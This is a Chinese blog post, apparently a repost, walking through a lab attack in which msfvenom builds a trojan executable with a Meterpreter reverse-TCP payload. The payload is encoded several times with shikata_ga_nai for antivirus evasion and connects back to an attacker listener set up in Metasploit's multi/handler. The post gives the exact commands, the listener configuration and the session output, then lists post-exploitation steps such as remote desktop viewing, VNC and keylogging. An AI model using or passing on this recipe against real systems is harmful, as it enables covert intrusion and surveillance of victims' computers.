Metasploit 生成***反弹shell

Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报
特点:这种可以扩展的模型将负载控制,编码器,无操作生成器和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。最新版本的 MSF 包含了750多种流行的操作系统及应用软件的漏洞,以及224个 shellcode 。作为安全工具,它在安全检测中用着不容忽视的作用,并为漏洞自动化探测和及时检测系统漏洞提供了有力保障。
Metasploit自带上百种漏洞,还可以在online exploit building demo(在线漏洞生成演示)上看到如何生成漏洞。这使自己编写漏洞变得更简单,它势必将提升非法shellcode的水平,并且扩大网络阴暗面。与其相似的专业漏洞工具,如Core Impact和Canvas已经被许多专业领域用户使用。Metasploit降低了使用的门槛,将其推广给大众。
接下来开始简单而又有趣的小实验
gongji机:KaliLinux--2018.1最新版的(刚安装的时候跑了很多坑) ip:172.16.221.243
受害者:windows7 ip:172.16.221.153
1.首先生成一个muma文件
(1)msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=172.16.221.243 LPORT=12315 -f exe > /root/muma.exe
msfvenom用于生成***文件
-p –payload < payload> 指定需要使用的payload(gongji荷载)
msfvenom -l payloads 查看所有的gongji载荷
Metasploit 生成***反弹shell
windows/meterpreter/reverse_tcp 我们选择使用的gongji载荷
-e –encoder [encoder] 指定需要使用的encoder(编码器)
msfvenom -l encoders 查看编码
Metasploit 生成***反弹shell
x86/shikata_ga_nai 我们所选择的编码格式(用于免杀)
-i 5 –iterations < count> 指定payload的编码次数为5次(次数越多免杀的概率越大)
LHOST指定ip地址
LPORT指定监听的端口可任意更改
-f –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
/root/muma.exe 指定到生成的目录
2.将muma文件移动到受害者主机
3.我是直接使用图形化armitage方便后面的操作
Metasploit 生成***反弹shell
(1)use exploit/multi/handler 进入
(2)msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 选择此gongji载荷
payload => windows/meterpreter/reverse_tcp 此为回显内容证明已切换到此gongji载荷
(3)msf exploit(multi/handler) > show options 查看此gongji载荷的配置

  Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  ---------------  --------  -----------

  Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     172.16.221.243   yes       The listen address
  LPORT     18609            yes       The listen port

  Exploit target:

  Id  Name
  --  ----
  0   Wildcard Target(回显内容)
(4)msf exploit(multi/handler) > set LPORT 12315 将端口修改为生成muma文件时设置监听的端口
  LPORT => 12315(回显内容证明修改成功)
(5)msf exploit(multi/handler) > show options查看gongji载荷的配置

  Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  ---------------  --------  -----------

  Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     172.16.221.243   yes       The listen address
  LPORT     12315(看这里端口已经更改了)            yes       The listen port

  Exploit target:

  Id  Name
  --  ----
  0   Wildcard Target

(6)msf exploit(multi/handler) > exploit运行(在受害者主机别忘了运行你的muma文件)
[] Started reverse TCP handler on 172.16.221.243:12315
[
] Sending stage (179779 bytes) to 172.16.221.153
[*] Meterpreter session 9 opened (172.16.221.243:12315 -> 172.16.221.153:50596) at 2018-04-27 15:17:12 +0800

  [*] Meterpreter session 11 opened (172.16.221.243:12315 -> 172.16.221.153:50679) at 2018-04-27 15:37:31 +0800
        出现以上内容即为成功

4.刚才说过图形化方便操作,接下来给大家介绍一些小操作

Metasploit 生成***反弹shell
电脑出现这样代表可以gongji了
鼠标右键会出现可用的载荷
Metasploit 生成***反弹shell
运行一些shell命令,建议用meterpreter shell 来运行shell命令 我在做实验的时候其他的shell命令并不会运行
Metasploit 生成***反弹shell
getuid 获得uid
sysinfo 查看系统
run vnc 开启vnc
getdesktop 远程监控桌面
浏览文件目录
Metasploit 生成***反弹shell
键盘记录器都懂得
Metasploit 生成***反弹shell
基本就是这些小操作

转载于:https://blog.51cto.com/superwolf/2108600

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值